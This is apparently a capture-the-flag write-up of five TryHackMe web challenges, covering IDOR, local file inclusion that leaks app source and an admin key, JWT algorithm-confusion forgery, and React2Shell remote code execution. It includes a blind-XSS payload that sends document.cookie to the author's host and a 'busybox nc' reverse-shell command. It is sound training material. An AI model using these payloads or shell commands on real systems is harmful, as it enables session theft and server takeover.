> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/love-at-first-breach-2026-beginners-track.md).

# Love at First Breach 2026 - Beginner's Track

{% embed url="<https://tryhackme.com/module/lafbctf2026>" %}

***

## Love Letter Locker

Use your skills to access other users' letters. - by munra & DrGonz0

{% embed url="<https://tryhackme.com/room/lafb2026e2>" %}

***

> Welcome to LoverLetterLocker, where you can safely write and store your Valentine's letters. For your eyes only?

In Love Letter Locker, the web service is available on port `5000`. We visit the site and create an account and log in using that account. We see a page where we can create letters. We can already see that there are two in the archive, but we cannot access them at the moment. We don't have a letter ourselves.&#x20;

<figure><img src="/files/GCDe9N8N5GMxcbcDHanS" alt=""><figcaption></figcaption></figure>

We create one.&#x20;

<figure><img src="/files/8p4XcZ0xMl0Zpr7SMPFH" alt=""><figcaption></figcaption></figure>

No we can review our letter. We click on `Open`.

<figure><img src="/files/hxDPX7nn2euHltlxQDHq" alt=""><figcaption></figcaption></figure>

After opening, you will be redirected to the following page:

```
http://10.82.176.144/letter/3
```

Our letter`/letter/3` appears to have the ID 3; we already have two in the archive, the ID appears to be incremented. This request for letters could be vulnerbale to an Insecure Direct Object Reference (IDOR). An IDOR occurs when an application exposes a direct reference to an internal object and does not verify whether the user is authorized to access it. Since the letter ID appears incremental and predictable, we could modify the URL to `/letter/1`, `/letter/2`, `/letter/4` to access other users' letters without permission.&#x20;

<figure><img src="/files/elwA88HRwcZcu3vET2xr" alt=""><figcaption></figcaption></figure>

We give it a try and try to access the fist

```
http://10.82.176.144/letter/1
```

We can open the first letter, from user Gonz0. It contains the first flag, and we were able to verify an IDOR.

<figure><img src="/files/rU6sJdyWC9j4lGimbeqU" alt=""><figcaption></figcaption></figure>

## Valenfind

Can you find vulnerabilities in this new dating app? - by munra & DrGonz0

{% embed url="<https://tryhackme.com/room/lafb2026e10>" %}

***

> There’s this new dating app called “Valenfind” that just popped up out of nowhere. I hear the creator only learned to code this year; surely this must be vibe-coded. Can you exploit it?

In Valenfind, the web service is available on port `5000`. We visit the site and are greeted with a login. However, we can also create an account. First, we create an account...

<figure><img src="/files/I8u3A5UHIrzkut9kyY8c" alt=""><figcaption></figcaption></figure>

... and log in with it. On the dashboard, we can view other users' profiles and change the profile theme of the respective user. While we do this, we do not see any requests being made.

<figure><img src="/files/14yiyZk88iYZgPVX0l1o" alt=""><figcaption></figcaption></figure>

However, we recorded our traffic beforehand using Burp Suite. In the HTTP history, we go through the individual requests and find one that appears to be responsible for the change:

```
/api/fetch_layout?layout=theme_classic.html
```

We forward the request to repeater module. An HTML page is passed to the parameter `layout=theme_classic.html`. It is possible that the content of a file is included and loaded on the page. This could enable us to perform a Local File Inclusion (LFI).

<figure><img src="/files/1rGFTXp2XnksfDJLGZa0" alt=""><figcaption></figcaption></figure>

We try to include `/etc/passwd` and are successful. The `layout` parameter is vulnerable to LFI.

<figure><img src="/files/aY6fycl8bvt2IJjgsR05" alt=""><figcaption></figcaption></figure>

We check for `/proc/self/cmdline` Command line arguments and `/proc/self/environ` Environment variables. From the command line arguments we see that the `app.py` running in this context is `/opt/Valenfind/app.py`.

<figure><img src="/files/Dw6sF13u2DewYsQi0GKo" alt=""><figcaption></figcaption></figure>

We include this and extract the source code. From this, we identify the ADMIN\_API\_KEY.

<figure><img src="/files/0YEMdKDtEIlOSrFlkWAK" alt=""><figcaption></figcaption></figure>

{% code title="/opt/Valenfind/app.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import os
import sqlite3
import hashlib
from flask import Flask, render_template, request, redirect, url_for, session, send_file, g, flash, jsonify
from seeder import INITIAL_USERS

app = Flask(__name__)
app.secret_key = os.urandom(24)

ADMIN_API_KEY = "REDACTED"
DATABASE = 'cupid.db'

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
        db.row_factory = sqlite3.Row
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

def init_db():
    if not os.path.exists(DATABASE):
        with app.app_context():
            db = get_db()
            cursor = db.cursor()
            
            cursor.execute('''
                CREATE TABLE users (
                    id INTEGER PRIMARY KEY AUTOINCREMENT,
                    username TEXT NOT NULL UNIQUE,
                    password TEXT NOT NULL,
                    real_name TEXT,
                    email TEXT,
                    phone_number TEXT,
                    address TEXT,
                    bio TEXT,
                    likes INTEGER DEFAULT 0,
                    avatar_image TEXT
                )
            ''')
            
            cursor.executemany('INSERT INTO users (username, password, real_name, email, phone_number, address, bio, likes, avatar_image) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)', INITIAL_USERS)
            db.commit()
            print("Database initialized successfully.")

@app.template_filter('avatar_color')
def avatar_color(username):
    hash_object = hashlib.md5(username.encode())
    return '#' + hash_object.hexdigest()[:6]

# --- ROUTES ---

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        db = get_db()
        try:
            cursor = db.cursor()
            cursor.execute('INSERT INTO users (username, password, bio, real_name, email, avatar_image) VALUES (?, ?, ?, ?, ?, ?)', 
                       (username, password, "New to ValenFind!", "", "", "default.jpg"))
            db.commit()
            
            user_id = cursor.lastrowid
            session['user_id'] = user_id
            session['username'] = username
            session['liked'] = []
            
            flash("Account created! Please complete your profile.")
            return redirect(url_for('complete_profile'))
            
        except sqlite3.IntegrityError:
            return render_template('register.html', error="Username already taken.")
    return render_template('register.html')

@app.route('/complete_profile', methods=['GET', 'POST'])
def complete_profile():
    if 'user_id' not in session:
        return redirect(url_for('login'))
        
    if request.method == 'POST':
        real_name = request.form['real_name']
        email = request.form['email']
        phone = request.form['phone']
        address = request.form['address']
        bio = request.form['bio']
        
        db = get_db()
        db.execute('''
            UPDATE users 
            SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
            WHERE id = ?
        ''', (real_name, email, phone, address, bio, session['user_id']))
        db.commit()
        
        flash("Profile setup complete! Time to find your match.")
        return redirect(url_for('dashboard'))
        
    return render_template('complete_profile.html')

@app.route('/my_profile', methods=['GET', 'POST'])
def my_profile():
    if 'user_id' not in session:
        return redirect(url_for('login'))
        
    db = get_db()
    
    if request.method == 'POST':
        real_name = request.form['real_name']
        email = request.form['email']
        phone = request.form['phone']
        address = request.form['address']
        bio = request.form['bio']
        
        db.execute('''
            UPDATE users 
            SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
            WHERE id = ?
        ''', (real_name, email, phone, address, bio, session['user_id']))
        db.commit()
        flash("Profile updated successfully! ✅")
        return redirect(url_for('my_profile'))
    
    user = db.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],)).fetchone()
    return render_template('edit_profile.html', user=user)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        db = get_db()
        user = db.execute('SELECT * FROM users WHERE username = ?', (username,)).fetchone()
        
        if user and user['password'] == password:
            session['user_id'] = user['id']
            session['username'] = user['username']
            session['liked'] = [] 
            return redirect(url_for('dashboard'))
        else:
            return render_template('login.html', error="Invalid credentials.")
    return render_template('login.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    db = get_db()
    profiles = db.execute('SELECT id, username, likes, bio, avatar_image FROM users WHERE id != ?', (session['user_id'],)).fetchall()
    return render_template('dashboard.html', profiles=profiles, user=session['username'])

@app.route('/profile/<username>')
def profile(username):
    if 'user_id' not in session:
        return redirect(url_for('login'))
        
    db = get_db()
    profile_user = db.execute('SELECT id, username, bio, likes, avatar_image FROM users WHERE username = ?', (username,)).fetchone()
    
    if not profile_user:
        return "User not found", 404
        
    return render_template('profile.html', profile=profile_user)

@app.route('/api/fetch_layout')
def fetch_layout():
    layout_file = request.args.get('layout', 'theme_classic.html')
    
    if 'cupid.db' in layout_file or layout_file.endswith('.db'):
        return "Security Alert: Database file access is strictly prohibited."
    if 'seeder.py' in layout_file:
        return "Security Alert: Configuration file access is strictly prohibited."
    
    try:
        base_dir = os.path.join(os.getcwd(), 'templates', 'components')
        file_path = os.path.join(base_dir, layout_file)
        
        with open(file_path, 'r') as f:
            return f.read()
    except Exception as e:
        return f"Error loading theme layout: {str(e)}"

@app.route('/like/<int:user_id>', methods=['POST'])
def like_user(user_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    if 'liked' not in session:
        session['liked'] = []
        
    if user_id in session['liked']:
        flash("You already liked this person! Don't be desperate. 😉")
        return redirect(request.referrer)

    db = get_db()
    db.execute('UPDATE users SET likes = likes + 1 WHERE id = ?', (user_id,))
    db.commit()
    
    session['liked'].append(user_id)
    session.modified = True
    
    flash("You sent a like! ❤️")
    return redirect(request.referrer)

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    session.pop('liked', None)
    return redirect(url_for('index'))

@app.route('/api/admin/export_db')
def export_db():
    auth_header = request.headers.get('X-Valentine-Token')
    
    if auth_header == ADMIN_API_KEY:
        try:
            return send_file(DATABASE, as_attachment=True, download_name='valenfind_leak.db')
        except Exception as e:
            return str(e)
    else:
        return jsonify({"error": "Forbidden", "message": "Missing or Invalid Admin Token"}), 403

if __name__ == '__main__':
    if not os.path.exists('templates/components'):
        os.makedirs('templates/components')
    
    with open('templates/components/theme_classic.html', 'w') as f:
        f.write('''p
```

{% endcode %}

Furthermore, we find the route `/api/admin/export_db`, which expects the `ADMIN_API_KEY` in the `X-Valentine-Token` header. This allows us to extract the database which could obtain valuable loot.

```
@app.route('/api/admin/export_db')
def export_db():
    auth_header = request.headers.get('X-Valentine-Token')
    
    if auth_header == ADMIN_API_KEY:
        try:
            return send_file(DATABASE, as_attachment=True, download_name='valenfind_leak.db')
        except Exception as e:
            return str(e)
    else:
        return jsonify({"error": "Forbidden", "message": "Missing or Invalid Admin Token"}), 403
```

We request the database and find the user data and the flag in it.

{% code overflow="wrap" %}

```
curl -H "X-Valentine-Token: REDACTED" http://10.82.141.173:5000/api/admin/export_db --output valenfind_leak.db
```

{% endcode %}

<figure><img src="/files/Fe5lxLe1F88PzsBnt2b6" alt=""><figcaption></figcaption></figure>

## TryHeartMe

Access the hidden item in this Valentine's gift shop. - by munra & DrGonz0

{% embed url="<https://tryhackme.com/room/lafb2026e5>" %}

***

> The TryHeartMe shop is open for business. Can you find a way to purchase the hidden “Valenflag” item?

In Valenfind, the web service is available on port `5000`. We visit the site and are greeted with a login. However, we can also create an account. First, we create an account...

<figure><img src="/files/TKvsnb6pT412CmxwD8KH" alt=""><figcaption></figcaption></figure>

... and log in with it. We have a shop in front of us, but we can't find the item `valenflag`, nor do we have any credits in our account to purchase anything.

<figure><img src="/files/rPTblkx1dR1zvGrbP6Bx" alt=""><figcaption></figcaption></figure>

We inspect the stored cookies and find a JWT session cookie.

<figure><img src="/files/VDxHR4HxL0MWqKmybYRH" alt=""><figcaption></figcaption></figure>

We decode this and see, in addition to email and topics, credits that are set, as well as our role.

{% embed url="<https://token.dev>" %}

<figure><img src="/files/uaw4UyWV7YQKdB0krCVH" alt=""><figcaption></figcaption></figure>

We try to set the additional fields when creating users using mass assignment. We create a user, but intercept the request using Burp Suite and add credits and role during creation, thus trying to obtain an account that is admin and has sufficient credits.

<figure><img src="/files/F7PPfmJrsbS1HvbaPkG1" alt=""><figcaption></figcaption></figure>

However, the JWT we receive is one without credits and without an admin role. Mass assignment does not seem to work. We are now trying cookie tampering. We see that the cookie was signed with a symmetric algorithm `HS256`.&#x20;

We could now try to customize the cookie and set one without a signature and the algorithm set to `None` in the hope that the application will accept the cookies without a signature and with the algorithm None set.&#x20;

Another option would be to switch to an asymmetric algorithm like RS256 to confuse the application into accepting a forged JWT.

<figure><img src="/files/bIkstdOENrsKu7hCQjPM" alt=""><figcaption></figcaption></figure>

```
{
  "email": "0xb0b@thm.de",
  "role": "admin",
  "credits": 99999,
  "iat": 1771005936,
  "theme": "valentine"
}
```

We were unsuccessful with `None`. But with `RS256`. We set the values as we wish using the `RS256` algorithm.

<figure><img src="/files/yV20njwKtAD1WTK5Kyh7" alt=""><figcaption></figcaption></figure>

We replace the cookie and reload the page.

<figure><img src="/files/6yygDMTGF1HyzjIPhJb2" alt=""><figcaption></figcaption></figure>

We are still authenticated, but now are admin and do have 99999 credits. As admin we see the product ValenFlag. We click on it...

<figure><img src="/files/V2mD0Q4FUu20CuJFlVku" alt=""><figcaption></figcaption></figure>

... and try to purchase it.

<figure><img src="/files/ExA4fxSb26hESy7PjbhP" alt=""><figcaption></figcaption></figure>

After purchasing it we retrieve the flag.

<figure><img src="/files/G6DnPFfTRQibWWdsYAXA" alt=""><figcaption></figcaption></figure>

## Cupid's Matchmaker

Use your web exploitation skills against this matchmaking service.  - by munra & DrGonz0

{% embed url="<https://tryhackme.com/room/lafb2026e3>" %}

***

> Tired of soulless AI algorithms? At Cupid's Matchmaker, real humans read your personality survey and personally match you with compatible singles. Our dedicated matchmaking team reviews every submission to ensure you find true love this Valentine's Day! 💘No algorithms. No AI. Just genuine human connection

In TryHeartMe, the web service is available on port `5000`. We visit the site and see a dting app.&#x20;

<figure><img src="/files/LmzYwq1aPeFbyeR6BD9F" alt=""><figcaption></figcaption></figure>

If we scroll down we see that our applications are reviewd by humans.

<figure><img src="/files/biMFi0tgoQAWtxwovV9c" alt=""><figcaption></figcaption></figure>

We can get a perfect match by submitting a survey.

<figure><img src="/files/McGuSWe2FekHPAuATTdL" alt=""><figcaption></figcaption></figure>

If we scroll down we see that our application would be reviewd withing a minute. We have a contact form in front of us that may be reviewed by other users. This gives us reason to test for blind XSS.

<figure><img src="/files/nGKNAJ1EyIGbjmJwNd9Y" alt=""><figcaption></figcaption></figure>

We attempt to inject JavaScript into the moderator's view, which is then executed in its context. This could allow us to extract session cookies if the HttpOnly tag has not been set; otherwise, we could attempt to exfiltrate the content of the user's view by making a request to our server with the contents.

Methodologically, you could now fill each field with a payload such as&#x20;

```
<body onload="new Image().src='http://192.168.159.10/<FIELDNAME>">
```

This allows us to identify which field is vulnerable in our requests to our web server.&#x20;

We fill each field with the following payload submit the session cookie.

```
<body onload="new Image().src='http://192.168.159.10?c='+document.cookie;">
```

<figure><img src="/files/7yoxcCmNn7E3MdRviYjr" alt=""><figcaption></figcaption></figure>

After a short duration we retreive the cookie, which is the flag.

<figure><img src="/files/wFh0ndUi7oJR52WkCt46" alt=""><figcaption></figcaption></figure>

## Corp Website

lafb2026-e7 - by munra & kohzmik

{% embed url="<https://tryhackme.com/room/lafb2026e7>" %}

***

> Valentine's Day is fast approaching, and "Romance & Co" are gearing up for their busiest season.
>
> Behind the scenes, however, things are going wrong. Security alerts suggest that "Romance & Co" has already been compromised. Logs are incomplete, developers defensive and Shareholders want answers now!
>
> As a security analyst, your mission is to retrace the attacker's, uncover how the attackers exploited the vulnerabilities found on the "Romance & Co" web application and determine exactly how the breach occurred.

In Corp Website, the web service is available on port `3000`. We visit the site and it seems like a static page. We inspect the technologies installed and used and see that Next.js 16.0.6 is used.&#x20;

<figure><img src="/files/taHCJGjkRV6iv1ARORNd" alt=""><figcaption></figcaption></figure>

This specific version is vulnerable to React2Shell. React2Shell CVE-2025-55182 is a critical unauthenticated remote code execution vulnerability in the React Server Components (RSC) protocol that insecurely deserializes attacker-controlled HTTP payloads, letting an attacker execute arbitrary code on a server.\
Next.js versions 16.0.6 and earlier that bundle vulnerable RSC packages inherit this flaw, meaning applications built on these versions can be compromised simply by sending a crafted request.

{% embed url="<https://www.cvedetails.com/vulnerability-list/vendor_id-23551/product_id-87327/version_id-2056139/year-2025/opec-1/Vercel-Next.js-16.0.6.html>" %}

<figure><img src="/files/Y1J9uWzZtmqSeaUU7SDU" alt=""><figcaption></figcaption></figure>

We find the following POC and can demonstrate remote code execution.

{% embed url="<https://github.com/Chocapikk/CVE-2025-55182>" %}

```
python3 exploit.py -u http://10.82.172.188:3000/ -c "id"
```

<figure><img src="/files/hlMOcXeqKxYxrX7mMu7k" alt=""><figcaption></figcaption></figure>

We spawn a shell like the following and find the flag in the users home directory.

```
python3 exploit.py -u http://10.82.172.188:3000/ -c "busybox nc 192.168.159.10 4445 -e sh"  
```

<figure><img src="/files/ZxPtU9JPgCXpJXmU4TbU" alt=""><figcaption></figcaption></figure>
